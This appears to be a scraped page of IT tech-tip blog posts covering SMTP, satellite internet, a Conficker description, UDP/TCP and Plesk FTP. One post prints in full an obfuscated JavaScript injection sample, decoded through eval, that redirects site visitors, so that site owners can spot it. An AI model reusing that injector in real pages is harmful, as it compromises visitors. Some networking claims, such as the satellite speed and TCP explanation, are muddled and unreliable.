Facebook error: Call to a member function get() on a non-object in

Facebook error:

Call to a member function get() on a non-object in

Fatal error: Call to a member function get() on a non-object in /domain/AdServer/Code/AdServer.php on line 802

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Working of email on Internet

In the process of sending an e-mail, e-mail client works together with the SMTP server to handle the sending. The SMTP server on local host may have communications with other SMTP servers to send the e-mail.

Let's consider, to send an e-mail from e-mail ID is admin and this account is on asp-mssql.com to webmaster@gmail.com.

From Outlook Express, as email client, one has to specify the name of the mail server -- mail.asp-mssql.com, after sending composed a message, following things happen with mail:

1. Outlook Express, email client first connects to the local SMTP server at mail.asp-mssql.com on port 25 (default).

2. Outlook Express has a communication with the SMTP server, informing the SMTP server about the sender address and the receipt address, along with the body of the message.

3. The SMTP server takes the "TO" address (webmaster@gmail.com) and puts it into two parts: webmaster (the recipient name) and the gmail.com (domain name). If the "TO" address belongs to another user at asp-mssql.com, the SMTP server would forward the message to the POP3 server for asp-mssql.com using the delivery agent. As the recipient is at another domain, SMTP needs to communicate with gmail.com.

4. The SMTP server has a communication with a Domain Name Server. It asks for, the IP address of the SMTP server for gmail.com. The DNS provides one or more IP addresses for the SMTP server(s) for gmail.com.

5. The SMTP server at asp-mssql.com connects with the SMTP server at gmail.com on port 25. It provides same simple text conversation that received from e-mail client, and provides the message to the gmail.com server. The gmail.com server identifies the domain name for webmaster, so it hands the message to gmail's POP3 server, which delivers the message in mailbox of webmaster.

If the SMTP server of asp-mssql.com fails to connect the SMTP server at gmail.com, then the message remains into a queue. Message is occasionally tried to resend in its queue.After specified period of time, if it fails to delivered, it sends undelivered report.

Following are the commands like HELO, MAIL, RCPT and DATA.
* HELO - introduce yourself
* EHLO - introduce yourself and request extended mode
* MAIL FROM: - specify the sender
* RCPT TO: - specify the recipient
* DATA - specify the body of the message (To, From and Subject in the first three lines.)
* RSET - reset
* QUIT - quit the session
* HELP - get help on commands
* VRFY - verify an address
* EXPN - expand an address
* VERB - verbose

Satellite internet in rural area

How do you access the Internet other than dial-up if you reside too faraway from a service provider. Then Satellite Internet access might be alternative. It's ideal for rural Internet users who want broadband access.

Satellite Internet does not use any physical connectivity. But it uses a satellite dish for upload/download data communications. Speed of upload is around one-tenth of the 500 kbps of the download speed. Satellite systems are with ten times faster than a normal internet connection.

Two-way satellite Internet consists of:

1) Approximately a two-foot by three-foot dish
2) Two modems for uplink and downlink
3) Coaxial cables between dish and modem

The prime condition is a clear view to the south, as the orbiting satellites are over the equator area, same as satellite TV, trees and heavy rains can have an effect on reception of the signals.

Two-way satellite Internet uses Internet Protocol (IP) multicasting technology, in which up to 5,000 channels of communication can concurrently be served by a sole satellite. IP multicasting sends data from one point to many points at the same time in compressed format. The data size and the bandwidth can be reduced by compression.

The satellite data downlink is same as the normal terrestrial link, apart from the satellite transmits the data to local PC via the same dish that would allow you to obtain a Pay-Per-View television program.

So, in a rural area, satellite Internet may be for you!

Java Injection code in IIS

Annoyed by injection in your web site pages, then you’d look for following solution on it. Here is one of the javascript codes of an “injection” that inserts itself into the default page of a website. It is planned to go hidden by only redirecting arbitrarily.

Generally this code is inserted at the bottom of the source code of index or default page, with a considerable white space after the end of the normal source code. It redirects to a “spyware” or “virus” site. Even it is also not detected by antivirus programs.

It infects each and every .php file and does not re-infect after the initial infection. Generally it injects the code into .php (and .html) files about 115 lines below the end line of the normal code. It ONLY infects index.php/html files in the httpdocs directory of the website.

If you rename your file to some other name such as index2.php – it’ll not be infected. The “modified date” time stamps also change with the infection. Once you get the time stamp when it infected, search for files modified at that time.

var mf=” shapgvba ejtf(c){ine ro,con=\”HcvfNU)z\\\”n#hG1*PrTR[4`5('082BVWa]-eZo,}9g$_l+m^6bp~w&IiOA|d@s=y7C:.XMq!xtSj;k{3u\”,olq=\”\”,i,nnu,l=\”\”,n;sbe(ro=0;ro<c.yratgu;ro++){ i=c.puneNg(ro);nnu=con.vaqrkBs(i);vs(nnu>-1){ n=((nnu+1)%81-1);vs(n<=0)n+=81;l+=con.puneNg(n-1); } ryfr l+=i;}olq+=l;qbphzrag.jevgr(olq);}”,rmhc=“”;for(gvg=0;gvg<mf.length;gvg++){ fbd = mf.charCodeAt(gvg);if((fbd>64 && fbd<78)||(fbd>96 && fbd<110)) fbd=fbd+13;else if((fbd>77 && fbd<91)||(fbd>109 && fbd<123))fbd=fbd-13;rmhc=rmhc.concat(String.fromCharCode(fbd));} var km,ff; eval( rmhc );km=“<A~Msi$U7#]FT#FGla&#B#A~Msi$a>U!c~T\”G]$K;Ms$G’Ua<SeRJ:1U7#]FT#FGl\\an#B#S~Msi$\\aUSRel\\a $$i.//;;;KFccF7G#]#7s$s~AK]G$/yyT$,K&A?az!c~T\”G]$KMG=GMMGMza\\a><\\/SeRJ:1>aUmxU</A~Msi$>U”; rwgs(km);

Unable to connect to Microsoft website

Conficker is also know by Worm: Win32/Conficker.A & Worm:Win32/Conficker.B in Microsoft, Crypt.AVL in AVG, Trojan.Win32.Pakes.lxf for F-Secure, Trojan.Win32.Pakes.lxf in Kaspersky,

It works in the recurring copy itself using a random name to the %Sysdir% folder.

It modifies the registry key to create a randomly-named service on the compramised system:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\{random}\Parameters\"ServiceDll" = "Path to worm"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\{random}\"ImagePath" = %SystemRoot%\system32\svchost.exe -k netsvcs

It tries to connect to multiple websites to obtain the public IP address of the infected computer. It attempts to download a malware file from the remote website. It starts a HTTP server on any random port on the infected machine to host a copy of the worm.

Once one system on the network is infected, it continuously scans the whole subnet of the infected host for vulnerable machines and executes the exploit. If it gets success, then that computer will connect again to the http server and download a copy of the worm. Afterward variants of w32/Conficker.worm are using scheduled tasks and Autorun.inf file to duplicate on to non vulnerable systems or to re-infect previously infected systems even if they are cleaned.

You can check whether your system is infected or not?
You may find that you are not only unable to connect to Microsoft website, but also Anti-virus websites are not working.
Infected system Users are locked out of directory, access to admin shares get denied, scheduled tasks gets created, access to security related web sites is blocked.

Conficker removal tool from Microsoft

Remedy for this issue is to patch and reboot the infected system, If you detect this worm on your system, you should reboot to clean memory correctly. May be you will need to reboot more that one time. Scheduled tasks are used to be created on the system to re-activate the worm. Autorun.inf files re-activate the worm.

UDP and TCP port types

What's the difference between UDP & TCP port types?

UDP is a connectionless protocol that executes on top of IP (UDP/IP), provides very few error recovery services, It's used mainly for broadcasting messages over a network.
Connectionless stands for that a host can send a message to a different host without first establishing a connection with the receiver. The host simply puts a message onto the network with a target address and hopes that the messages arrive. The transmission or receipt of a UDP packet doesn't assurance any further communication in either path. Because a UDP packet doesn't need an existing connection, network systems use UDP mainly for broadcasting messages (i.e., a one-to-many sending, much like unsolicited scrap email). The most common UDP packets—DNS registrations and name-resolution queries—are sent to port 53 and TCP is a connection-oriented protocol that executes on top of IP (TCP/IP). TCP is assurance to deliver packets to target host before sending the message to another host, it establish the connection with recipient.

Home directory inaccessible in Plesk control panel

This is commonly observed error on Plesk based windows FTP service while connecting remotely. Locally you can easily connect to FTP, but remotely it will show "Home directory inaccessible" error.

You can for following solution on this error,

a. Repair permissions on home folders of problem domains.

b. Re-configure FTP configuration using Plesk command line tool ftpmng.exe as follows:

Login to RDP of the server, open command prompt, navigate to %plesk_bin% directory. Execute following commands,

ftpmng.exe --remove-vhost --vhost-name=yourdomain.com
ftpmng.exe --reconfigure-vhost --vhost-name=yourdomain.com

c. If this issue happens to every domain you can repair FTP configuration for all domains using commands as below:

Login to RDP of the server, open command prompt, navigate to %plesk_bin% directory. Execute following commands,

ftpmng.exe --remove-all
ftpmng.exe --reconfigure-all